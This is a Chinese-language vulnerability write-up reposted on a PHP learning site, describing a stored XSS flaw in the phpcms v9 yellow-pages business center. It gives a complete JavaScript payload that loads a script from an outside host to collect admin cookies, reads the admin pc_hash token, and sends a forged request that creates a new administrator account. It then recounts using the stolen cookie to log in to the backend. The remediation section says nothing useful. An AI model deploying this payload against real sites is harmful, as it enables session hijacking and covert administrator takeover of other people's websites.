来源:自学PHP网 时间:2015-04-16 23:15 作者: 阅读:次
[导读] 这几天给某客户做网页,做功能测试时候无意间发现了phpcms v9黄页某处储存性XSS首先我们要注册一个会员,所以,必须要开启会员注册或者拥有可以登录的账号。其实我还是忐忑这个会...
这几天给某客户做网页,做功能测试时候无意间发现了phpcms v9黄页某处储存性XSS
首先我们要注册一个会员,所以,必须要开启会员注册或者拥有可以登录的账号。
其实我还是忐忑这个会不会和之前的一样的
该漏洞存在,影响不大...尼玛,可是反射型都过了
我们要注册一个会员,然后才可以申请商务中心。可是商务中心是要求填写企业的资料的。
我们再申请的时候可以这样子填写
标题处插入我们预置的XSS,除了可以偷取cookie以外,我们还可以写一个加用户的js.借鉴
将下面的代码保存为js:
documen.write('<script src=http://wooyun.com/yzmm></script>'); //接收后台与cookie if(top.window.location.href.indexOf("pc_hash=")>0){ var hash = top.window.location.href.substr(top.window.location.href.indexOf("pc_hash=")+8,6); } var xmlHttp = null; var cookie = document.cookie; var url = "index.php?m=admin&c=admin_manage&a=add"; var urldata = "info%5Busername%5D=test&info%5Bpassword%5D=123456&info%5Bpwdconfirm%5D=123456&info%5Bemail%5D=felixk3y%40qq.com&info%5Brealname%5D=aaa&info%5Broleid%5D=1&dosubmit=%E6%8F%90%E4%BA%A4&pc_hash="+hash; //user=test //password=123456 if(window.ActiveXObject){ xmlHttp=new ActiveXObject("Microsoft.XMLHTTP"); } else if(window.XMLHttpRequest){ xmlHttp=new XMLHttpRequest(); } if(xmlHttp!=null){ xmlHttp.onreadystatechange=state_Change; xmlHttp.open("POST",url,false); xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;charset=UTF-8"); xmlHttp.setRequestHeader("Cookie",cookie); xmlHttp.send(urldata);//不为null时,必须设置Content-Type } function state_Change() { if(xmlHttp.readyState==4) { if (xmlHttp.status==200) { //alert(xmlHttp.responseText); } } }
然后就是把各种资料填写完整,发给管理信息要求审核公司资料。
一般开启黄页的都是希望用户在这里注册信息,用户越多,流量越大。所以一般都会很快去审核的。
在管理后台审核的时候我们其实可以看到
然后查看的时候,我们 成功的收获了cookie
也利用该cookie成功登录了后台
发现管理员也成功添加了
修复方案:
你们拥有强大的团队,解决这个不是问题
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com